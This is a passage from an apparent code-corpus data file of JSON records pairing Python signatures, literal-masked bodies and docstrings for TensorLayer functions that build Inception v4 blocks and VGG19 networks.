name='<STR_LIT>'<EOL>)<EOL>branch_2, _ = conv_module(<EOL>branch_2, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL><DEDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_3 = tl.layers.MeanPool2d(<EOL>inputs, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_3, _ = conv_module(<EOL>branch_3, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL><DEDENT>return tl.layers.ConcatLayer([branch_0, branch_1, branch_2, branch_3], concat_dim=<NUM_LIT:3>, name='<STR_LIT>')<EOL><DEDENT>", "docstring": "Builds Inception-A block for Inception v4 network.", "id": "f11040:m0"}
{"signature": "def block_reduction_a(inputs, scope=None, is_train=False):", "body": "<EOL>with tf.variable_scope(scope, '<STR_LIT>', [inputs]):<EOL><INDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_0, _ = conv_module(<EOL>inputs, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL><DEDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_1, _ = conv_module(<EOL>inputs, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_1, _ = conv_module(<EOL>branch_1, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_1, _ = conv_module(<EOL>branch_1, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL><DEDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_2 = tl.layers.MaxPool2d(inputs, (<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', name='<STR_LIT>')<EOL><DEDENT>return tl.layers.ConcatLayer([branch_0, branch_1, branch_2], concat_dim=<NUM_LIT:3>, name='<STR_LIT>')<EOL><DEDENT>", "docstring": "Builds Reduction-A block for Inception v4 network.", "id": "f11040:m1"}
{"signature": "def block_inception_b(inputs, scope=None, is_train=False):", "body": "<EOL>with tf.variable_scope(scope, '<STR_LIT>', [inputs]):<EOL><INDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_0, _ = conv_module(<EOL>inputs, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL><DEDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_1, _ = conv_module(<EOL>inputs, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_1, _ = conv_module(<EOL>branch_1, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:7>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_1, _ = conv_module(<EOL>branch_1, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:7>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL><DEDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_2, _ = conv_module(<EOL>inputs, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_2, _ = conv_module(<EOL>branch_2, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:7>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_2, _ = conv_module(<EOL>branch_2, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:7>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_2, _ = conv_module(<EOL>branch_2, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:7>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_2, _ = conv_module(<EOL>branch_2, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:7>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL><DEDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_3 = tl.layers.MeanPool2d(<EOL>inputs, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_3, _ = conv_module(<EOL>branch_3, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL><DEDENT>return tl.layers.ConcatLayer([branch_0, branch_1, branch_2, branch_3], concat_dim=<NUM_LIT:3>, name='<STR_LIT>')<EOL><DEDENT>", "docstring": "Builds Inception-B block for Inception v4 network.", "id": "f11040:m2"}
{"signature": "def block_reduction_b(inputs, scope=None, is_train=False):", "body": "<EOL>with tf.variable_scope(scope, '<STR_LIT>', [inputs]):<EOL><INDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_0, _ = conv_module(<EOL>inputs, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_0, _ = conv_module(<EOL>branch_0, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL><DEDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_1, _ = conv_module(<EOL>inputs, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_1, _ = conv_module(<EOL>branch_1, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:7>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_1, _ = conv_module(<EOL>branch_1, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:7>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_1, _ = conv_module(<EOL>branch_1, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL><DEDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_2 = tl.layers.MaxPool2d(inputs, (<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', name='<STR_LIT>')<EOL><DEDENT>return tl.layers.ConcatLayer([branch_0, branch_1, branch_2], concat_dim=<NUM_LIT:3>, name='<STR_LIT>')<EOL><DEDENT>", "docstring": "Builds Reduction-B block for Inception v4 network.", "id": "f11040:m3"}
{"signature": "def block_inception_c(inputs, scope=None, is_train=False):", "body": "<EOL>with tf.variable_scope(scope, '<STR_LIT>', [inputs]):<EOL><INDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_0, _ = conv_module(<EOL>inputs, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL><DEDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_1, _ = conv_module(<EOL>inputs, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_1a, _ = conv_module(<EOL>branch_1, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_1b, _ = conv_module(<EOL>branch_1, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_1 = tl.layers.ConcatLayer([branch_1a, branch_1b], concat_dim=<NUM_LIT:3>, name='<STR_LIT>')<EOL><DEDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_2, _ = conv_module(<EOL>inputs, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_2, _ = conv_module(<EOL>branch_2, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_2, _ = conv_module(<EOL>branch_2, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_2a, _ = conv_module(<EOL>branch_2, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_2b, _ = conv_module(<EOL>branch_2, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_2 = tl.layers.ConcatLayer([branch_2a, branch_2b], concat_dim=<NUM_LIT:3>, name='<STR_LIT>')<EOL><DEDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_3 = tl.layers.MeanPool2d(<EOL>inputs, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_3, _ = conv_module(<EOL>branch_3, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL><DEDENT>return tl.layers.ConcatLayer([branch_0, branch_1, branch_2, branch_3], concat_dim=<NUM_LIT:3>, name='<STR_LIT>')<EOL><DEDENT>", "docstring": "Builds Inception-C block for Inception v4 network.", "id": "f11040:m4"}
{"signature": "def Vgg19(rgb):", "body": "start_time = time.time()<EOL>print(\"<STR_LIT>\")<EOL>rgb_scaled = rgb * <NUM_LIT><EOL>red, green, blue = tf.split(rgb_scaled, <NUM_LIT:3>, <NUM_LIT:3>)<EOL>if red.get_shape().as_list()[<NUM_LIT:1>:] != [<NUM_LIT>, <NUM_LIT>, <NUM_LIT:1>]:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if green.get_shape().as_list()[<NUM_LIT:1>:] != [<NUM_LIT>, <NUM_LIT>, <NUM_LIT:1>]:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if blue.get_shape().as_list()[<NUM_LIT:1>:] != [<NUM_LIT>, <NUM_LIT>, <NUM_LIT:1>]:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>bgr = tf.concat([<EOL>blue - VGG_MEAN[<NUM_LIT:0>],<EOL>green - VGG_MEAN[<NUM_LIT:1>],<EOL>red - VGG_MEAN[<NUM_LIT:2>],<EOL>], axis=<NUM_LIT:3>)<EOL>if bgr.get_shape().as_list()[<NUM_LIT:1>:] != [<NUM_LIT>, <NUM_LIT>, <NUM_LIT:3>]:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>net_in = InputLayer(bgr, name='<STR_LIT:input>')<EOL>net = Conv2dLayer(net_in, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT:64>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT:64>, <NUM_LIT:64>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = PoolLayer(net, ksize=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:1>], strides=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:1>], padding='<STR_LIT>', pool=tf.nn.max_pool, name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT:64>, <NUM_LIT>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = PoolLayer(net, ksize=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:1>], strides=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:1>], padding='<STR_LIT>', pool=tf.nn.max_pool, name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = PoolLayer(net, ksize=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:1>], strides=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:1>], padding='<STR_LIT>', pool=tf.nn.max_pool, name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = PoolLayer(net, ksize=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:1>], strides=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:1>], padding='<STR_LIT>', pool=tf.nn.max_pool, name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2dLayer(net, act=tf.nn.relu, shape=[<NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT>], strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = PoolLayer(net, ksize=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:1>], strides=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:1>], padding='<STR_LIT>', pool=tf.nn.max_pool, name='<STR_LIT>')<EOL>net = FlattenLayer(net, name='<STR_LIT>')<EOL>net = DenseLayer(net, n_units=<NUM_LIT>, act=tf.nn.relu, name='<STR_LIT>')<EOL>net = DenseLayer(net, n_units=<NUM_LIT>, act=tf.nn.relu, name='<STR_LIT>')<EOL>net = DenseLayer(net, n_units=<NUM_LIT:1000>, act=None, name='<STR_LIT>')<EOL>print(\"<STR_LIT>\" % (time.time() - start_time))<EOL>return net<EOL>", "docstring": "Build the VGG 19 Model\n\nParameters\n-----------\nrgb : rgb image placeholder [batch, height, width, 3] values scaled [0, 1]", "id": "f11062:m2"}
{"signature": "def Vgg19_simple_api(rgb):", "body": "start_time = time.time()<EOL>print(\"<STR_LIT>\")<EOL>rgb_scaled = rgb * <NUM_LIT><EOL>red, green, blue = tf.split(rgb_scaled, <NUM_LIT:3>, <NUM_LIT:3>)<EOL>if red.get_shape().as_list()[<NUM_LIT:1>:] != [<NUM_LIT>, <NUM_LIT>, <NUM_LIT:1>]:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if green.get_shape().as_list()[<NUM_LIT:1>:] != [<NUM_LIT>, <NUM_LIT>, <NUM_LIT:1>]:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if blue.get_shape().as_list()[<NUM_LIT:1>:] != [<NUM_LIT>, <NUM_LIT>, <NUM_LIT:1>]:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>bgr = tf.concat([<EOL>blue - VGG_MEAN[<NUM_LIT:0>],<EOL>green - VGG_MEAN[<NUM_LIT:1>],<EOL>red - VGG_MEAN[<NUM_LIT:2>],<EOL>], axis=<NUM_LIT:3>)<EOL>if bgr.get_shape().as_list()[<NUM_LIT:1>:] != [<NUM_LIT>, <NUM_LIT>, <NUM_LIT:3>]:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>net_in = InputLayer(bgr, name='<STR_LIT:input>')<EOL>net = Conv2d(net_in, <NUM_LIT:64>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT:64>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = MaxPool2d(net, filter_size=(<NUM_LIT:2>, <NUM_LIT:2>), strides=(<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = MaxPool2d(net, filter_size=(<NUM_LIT:2>, <NUM_LIT:2>), strides=(<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = MaxPool2d(net, filter_size=(<NUM_LIT:2>, <NUM_LIT:2>), strides=(<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = MaxPool2d(net, filter_size=(<NUM_LIT:2>, <NUM_LIT:2>), strides=(<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), 